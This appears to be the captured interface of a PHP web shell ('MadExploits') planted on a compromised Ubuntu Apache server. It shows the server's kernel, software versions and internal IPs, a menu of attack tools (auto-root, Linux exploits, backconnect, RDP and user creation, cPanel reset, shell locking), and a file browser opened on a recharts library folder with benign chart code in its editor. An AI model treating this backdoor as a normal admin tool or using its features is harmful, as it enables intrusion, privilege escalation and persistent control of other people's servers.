Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
recharts /
es6 /
util /
[ HOME SHELL ]
Name
Size
Permission
Action
cursor
[ DIR ]
drwxr-xr-x
payload
[ DIR ]
drwxr-xr-x
tooltip
[ DIR ]
drwxr-xr-x
ActiveShapeUtils.js
10.4
KB
-rw-r--r--
BarUtils.js
5.17
KB
-rw-r--r--
CartesianUtils.js
12.16
KB
-rw-r--r--
ChartUtils.js
41.23
KB
-rw-r--r--
Constants.js
290
B
-rw-r--r--
CssPrefixUtils.js
2.09
KB
-rw-r--r--
DOMUtils.js
6.06
KB
-rw-r--r--
DataUtils.js
4.97
KB
-rw-r--r--
DetectReferenceElementsDomain....
3.1
KB
-rw-r--r--
Events.js
155
B
-rw-r--r--
FunnelUtils.js
3.09
KB
-rw-r--r--
Global.js
563
B
-rw-r--r--
IfOverflowMatches.js
238
B
-rw-r--r--
LogUtils.js
833
B
-rw-r--r--
PolarUtils.js
9.38
KB
-rw-r--r--
RadialBarUtils.js
2.96
KB
-rw-r--r--
ReactUtils.js
12.04
KB
-rw-r--r--
ReduceCSSCalc.js
8.4
KB
-rw-r--r--
ScatterUtils.js
1.8
KB
-rw-r--r--
ShallowEqual.js
383
B
-rw-r--r--
TickUtils.js
1.3
KB
-rw-r--r--
calculateViewBox.js
613
B
-rw-r--r--
getEveryNthWithCondition.js
860
B
-rw-r--r--
getLegendProps.js
3.84
KB
-rw-r--r--
isDomainSpecifiedByUser.js
1.08
KB
-rw-r--r--
types.js
11.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : getLegendProps.js
function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); } function ownKeys(e, r) { var t = Object.keys(e); if (Object.getOwnPropertySymbols) { var o = Object.getOwnPropertySymbols(e); r && (o = o.filter(function (r) { return Object.getOwnPropertyDescriptor(e, r).enumerable; })), t.push.apply(t, o); } return t; } function _objectSpread(e) { for (var r = 1; r < arguments.length; r++) { var t = null != arguments[r] ? arguments[r] : {}; r % 2 ? ownKeys(Object(t), !0).forEach(function (r) { _defineProperty(e, r, t[r]); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) { Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r)); }); } return e; } function _defineProperty(obj, key, value) { key = _toPropertyKey(key); if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; } function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); } import { Legend } from '../component/Legend'; import { getMainColorOfGraphicItem } from './ChartUtils'; import { findChildByType } from './ReactUtils'; export var getLegendProps = function getLegendProps(_ref) { var children = _ref.children, formattedGraphicalItems = _ref.formattedGraphicalItems, legendWidth = _ref.legendWidth, legendContent = _ref.legendContent; var legendItem = findChildByType(children, Legend); if (!legendItem) { return null; } var legendDefaultProps = Legend.defaultProps; var legendProps = legendDefaultProps !== undefined ? _objectSpread(_objectSpread({}, legendDefaultProps), legendItem.props) : {}; var legendData; if (legendItem.props && legendItem.props.payload) { legendData = legendItem.props && legendItem.props.payload; } else if (legendContent === 'children') { legendData = (formattedGraphicalItems || []).reduce(function (result, _ref2) { var item = _ref2.item, props = _ref2.props; var data = props.sectors || props.data || []; return result.concat(data.map(function (entry) { return { type: legendItem.props.iconType || item.props.legendType, value: entry.name, color: entry.fill, payload: entry }; })); }, []); } else { legendData = (formattedGraphicalItems || []).map(function (_ref3) { var item = _ref3.item; var itemDefaultProps = item.type.defaultProps; var itemProps = itemDefaultProps !== undefined ? _objectSpread(_objectSpread({}, itemDefaultProps), item.props) : {}; var dataKey = itemProps.dataKey, name = itemProps.name, legendType = itemProps.legendType, hide = itemProps.hide; return { inactive: hide, dataKey: dataKey, type: legendProps.iconType || legendType || 'square', color: getMainColorOfGraphicItem(item), value: name || dataKey, // @ts-expect-error property strokeDasharray is required in Payload but optional in props payload: itemProps }; }); } return _objectSpread(_objectSpread(_objectSpread({}, legendProps), Legend.getWithHeight(legendItem, legendWidth)), {}, { payload: legendData, item: legendItem }); };
Close